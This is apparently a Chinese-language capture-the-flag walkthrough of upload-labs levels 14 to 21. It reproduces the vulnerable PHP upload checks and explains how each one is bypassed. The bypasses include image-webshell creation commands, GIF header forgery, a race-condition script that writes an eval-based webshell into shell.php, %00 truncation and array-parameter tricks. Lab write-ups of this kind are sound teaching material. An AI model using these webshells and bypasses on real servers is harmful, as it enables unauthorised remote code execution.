-
Less-14 getimagesize()-图片马方法二:
good baby
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
fopen(): 打开文件或URL,失败则返回false。
fread(): 从文件指针handle读取最多length个字节。
fclose(): 关闭一个打开的文件。
unpack(): 从二进制字符串对数据进行解包。
该代码对文件读取两个字节,并以此判断文件类型。
.jpg
我们可以制作图片马进行上传(用cmd命令来制作):
windows:copy 1.jpg/b + 1.php/a 2.jpg
Linux:cat 1.jpg 1.php > 2.jpg
其中/b代表二进制文件binary,放在图片后面;/a代表文字文件ascii。
2.jpg为生成的图片马。
上传成功,但是.jpg格式无法解析php代码,所以要配合文件包含来进行攻击。题中已经给了我们包含漏洞的文件:
在用蚁剑连接我们上传的图片马:
.png
同上:emmm,上传的.png图片,上去成了.jpg一脸懵逼
.gif
这里尝试一下构造gif文件头绕过,上传.php文件,burp抓包修改,将文件后缀改为.gif,且构造文件头GIF87a,上传成功。
还是利用文件包含,蚁剑测试:
-
pass-15(getimagesize检测)
baby
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
getimagesize():getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);
image_type_to_extension(): 根据指定的图像类型返回对应后缀名。
stripos(): 查找字符串首次出现的位置,不区分大小写。
绕过姿势同pass14:
-
pass-16(exif_imagetype检测)
yeah
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
exif_imagetype(): 读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回false。返回值和getimagesize()返回的数组索引2的值时一样的。但其比getimagesize()函数更快。
在开始前要先将php.ini中修改配置,将:
;extension=php_exif.dll
前分号去掉,重启phpstudy后进行。
仍是同14关相同:
-
pass-17(二次渲染绕过)
good
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
magecreatefromgif(): 创建一块画布,并从GIF文件或URL地址载入一副图像。
imagecreatefromjpeg(): 创建一块画布,并从JPEG文件或URL地址载入一副图像。
imagecreatefrompng(): 创建一块画布,并从PNG文件或URL地址载入一副图像。
imagecreatefromwbmp(): 创建一块画布,并从WBMP文件或URL地址载入一副图像。
imagecreatefromstring(): 创建一块画布,并从字符串中的图像流新建一副图像。
GIF:
还是先上传一个图片马,成功。
用蚁剑连接发现连接不上。
将图片下载到本地,查看:
发现我们插入的代码消失了。
二次渲染会保留一些文件内容不会改变,所以我们可以观察其不变的地方,在将代码写入即可绕过。
经对比发现蓝色部分的内容没有改变,所以我们将代码写入这部分:
蚁剑连接:
-
pass-18(条件竞争)
goood
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
rename(): 重命名文件或目录。如果成功则返回true,失败返回false。
思路: 代码是先将文件保存到文件夹后,再判断文件的后缀是否合法,不合法的删除。在多线程的情况下,可能会出现文件夹中的文件还没有处理完,我们就可以访问原文件,而绕过。
条件竞争:
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
创建18.php文件:
<?php
$b = fopen("shell.php","w");
fputs($b,'<?php phpinfo(); ?>');
?>
也可以:
<?php
$b = fopen("shell.php","w");
fputs($b,'<?php @eval($_POST["hhh"]); ?>');
?>
之后用蚁剑连接,道理一样。
上传文件,并用burp抓包,跳转到intruder模块:
到payloads模块:
开始爆破。
不断访问http://127.0.0.1/upload-labs-master/upload/18.php直至shell.php文件写入成功(这里就需要一直刷新,狂点)。
成功后可以去文件夹看看:
发现创建成功。
访问:
蚁剑连接:
-
pass-19(条件竞争2)
good
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
同样是条件竞争,不过由于其先将后缀名与白名单进行了对比,所以不能上传.php了,可以上传图片马,且在其被重命名之前访问它。
将上一关代码插入图片制作图片马,后通过文件包含访问图片马。
首先生成图片马;上传后,通过burp抓包重放;不断访问文件,直到插入成功。
因为白名单上有.7z的后缀,所以我们可以将.php改为.php.7z,由于apache不能解析这个格式,所以会把该文件当成PHP格式来解析。
-
pass-20
good
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
pathinfo():
$file_name = $_POST['save_name'];
file_name;
文件的保存名为拼接构成,可以参数%00截断。
%00截断: 用burp抓包改包:
/.绕过:利用了move_uploaded_file()函数有一特性,会忽略掉文件末尾的/.。而代码中的file_name是用户可控的,所以我们可以在保存名后加上/.绕过:
大小写绕过:定义了黑名单,save_name参数就是我们保存的文件名称参数。这里并没有对上传的文件类型进行判断,仅仅是对保存的名称做了黑名单处理,黑名单中并没有大写形式,我们可以在保存名直接大小写绕过。
-
pass-21(数组绕过)
good
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
比20关多了MIME类检查,后判断save_name参数是否为空,为空则将上传文件名赋给file。
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
判断$file是否为数组,不是则将其拆分为数组。
分为数组后,将数组最后一个的值(end($file))同白名单作比较,符合则上传,上传后将数组的值拼接在一起对文件进行重命名。
reset($file)取数组的第一个元素,
file) - 1]
取数组的最后一个元素。
我们可以构造数组来进行绕过:
save_name[0]=21.php/
save_name[1]=置为空
save_name[2]=jpg(一个白名单后缀)
这样我们最后拼接的文件名会为20.php/.,而move_uploaded_file()函数将会解决/.的问题,这样我们上传的文件名后缀将会变为我们想要的.php,成功解决。
这里一定会有人有疑惑,我们数组的最后一个值不是为jpg吗?
因为当数组元素值为空时,就不会计入数组元素个数的,所以当我们使save_name[1]为空时,实际计算的数组元素个数为2。这里的
file) - 1]为file[1]
,得到的拼接为空,得到的文件名为20.php/.
上传文件,用burp抓包,修改参数:
上传成功,蚁剑连接: